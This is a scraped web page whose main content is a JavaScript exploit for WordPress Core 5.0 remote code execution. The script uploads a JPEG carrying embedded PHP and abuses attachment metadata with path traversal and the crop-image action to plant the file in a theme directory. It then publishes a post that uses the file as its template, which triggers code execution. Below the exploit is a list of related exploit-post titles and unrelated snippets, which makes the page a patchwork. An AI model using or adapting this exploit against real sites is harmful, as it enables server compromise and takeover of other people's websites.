var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});
var attachurl = '/wp-admin/media-new.php';
var uploadurl = '/wp-admin/async-upload.php';
var editattachurl = '/wp-admin/post.php?post=PID&action=edit';
var editposturl = '/wp-admin/post.php';
var addposturl = '/wp-admin/post-new.php';
var cropurl = '/wp-admin/admin-ajax.php';
console.log("Get wpnonce token.");
jQuery.get(attachurl, function(data) {
wpnonce = jQuery(data).find('#file-form #_wpnonce').val();
if(wpnonce) {
console.log("Success! wpnonce: " + wpnonce);
var postdata = new FormData();
postdata.append('name', 'ebaldremal.jpg');
postdata.append('post_id', post_id);
postdata.append('_wpnonce', wpnonce);
postdata.append('short', 1);
// file
var phpimage = new File([byteArray], 'ebaldremal.jpg');
postdata.append('async-upload', phpimage);
console.log("Upload image with shell.");
jQuery.ajax({
url: uploadurl,
data: postdata,
cache: false,
contentType: false,
processData: false,
method: 'POST',
success: function(data){
if(jQuery.isNumeric(data)) {
post_id = data;
console.log("Success! Attach ID: " + post_id);
console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun.");
jQuery.get(editattachurl.replace('PID', post_id), function(data) {
var btnid = "#imgedit-open-btn-" + post_id;
wpnonce = jQuery(data).find('#post #_wpnonce').val();
ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];
imgurl = new URL(jQuery(data).find('#attachment_url').val());
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/any";
console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce);
if(wpnonce && ajaxnonce) {
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create help folder.");
postajaxdata = {
'_ajax_nonce': ajaxnonce,
'action': 'crop-image',
'id': post_id,
'cropDetails[width]': 1,
'cropDetails[height]': 1
}
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success! Help directory created.");
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned";
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create evil jpg image inside twentynineteen theme folder.");
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success!");
console.log("Get wpnonce for create new post.");
jQuery.get(addposturl, function(data){
console.log("Create new post and use evil jpg image as template.");
if(jQuery(data).find('form.metabox-base-form').length) {
wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();
post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();
} else {
wpnonce = jQuery(data).find('#post #_wpnonce').val();
post_id = jQuery(data).find('#post #post_ID').val();
}
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'post_title': 'RCE-HERE',
'visibility': 'public',
'publish': 'Publish',
'meta_input[_wp_page_template]': 'cropped-owned.jpg'
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success! Browse post with id = " + post_id + " to trigger RCE.")
console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")");
window.open(imgurl.origin + "/?p=" + post_id, '_blank');
});
});
});
});
});
});
}
});
}
}
});
}
});

[EXP]WordPress Core 5.0 - Remote Code Execution的更多相关文章

  1. [EXP]phpBB 3.2.3 - Remote Code Execution

    // All greets goes to RIPS Tech // Run this JS on Attachment Settings ACP page var plupload_salt = ' ...

  2. CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...

  3. [EXP]Apache Superset < 0.23 - Remote Code Execution

    # Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...

  4. [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution

    # Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...

  5. [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution

    # Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...

  6. MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...

  7. Roundcube 1.2.2 - Remote Code Execution

    本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...

  8. [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability

    漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...

  9. Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)

    CVE2017-12615漏洞复现( tomcat JSP Upload Bypass /Remote Code Execution) 一.漏洞原理 在windows服务器下,将readonly参数设 ...

随机推荐

  1. PHP获取手机号

    /** * 类名: mobile * 描述: 手机信息类 * 其他: 偶然 编写 */ class mobile{ /** * 函数名称: getPhoneNumber * 函数功能: 取手机号 * ...

  2. Linux下移植QT(2)---移植QT

    准备:ubantu12.04   内核 3.0.8(最好用同样的内核,3.2.0时没成功) 交叉编译工具:arm-cortex_a8-linux-gnueabi-gcc-4.4.6 QT版本5.4.2 ...

  3. vue 开发系列(五) 调用原生API

    概要 我们在开发手机端程序的时候了,我们经常需要使用到拍照,二维码的功能.数字天堂公司提供了大量的原生API支持. http://www.html5plus.org/doc/ 实现 1.在hbuild ...

  4. VS2012智能感知变英文解决办法

    解决办法: 1.从一台没装.NET3.5的机子上复制C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\zh-CN路径下的文件覆盖就可以 2.或者重装中文版的f ...

  5. 在vue中没有数据的渲染方法

    1.例如在评论区中,评论一般分为两种形式,一种是有评论,一种是没有评论, 用v-if进行判断,判断的是评论的长度,此时评论的数据应为数组 2.可以computed中记性计算后进行数据的返回在用v-if ...

  6. [置顶] AngularJS实战之路由ui-sref-active使用

    当我们使用angularjs的路由时,时常会出现一个需求,当选中菜单时把当前菜单的样式设置为选中状态(多数就是改变颜色) 接下来就看看Angular-UI-Router里的指令ui-sref-acti ...

  7. CreateEvent( )——创建事件函数

    /*************************************************************************************************** ...

  8. android 首字母迷糊查询 拼音查询 中英文混排查询

    对于这个问题,还没有动手去做,暂且查了查资料,把思路记录下来: 1. 数据库保存拼音+汉字.在插入数据库的时候将这些信息保存下来,将来可以进行首字母模糊查询,拼音查询,中英文混排查询(参考手机通讯录数 ...

  9. android testview + listview 整体滚动刷新

    listview滚动刷新不再讲述怎么实现 因为想实现整体滚动的效果,初始计划scrollView嵌套listview实现. 问题一:scrollview嵌套listview时,listview只能显示 ...

  10. 冲刺博客NO.5

    今天做了什么:布局UI和效果图,学会了监听事件并销毁监听接口 SMSSDK.unregisterAllEventHandler(); 今天做的东西不多,没有遇到什么苦难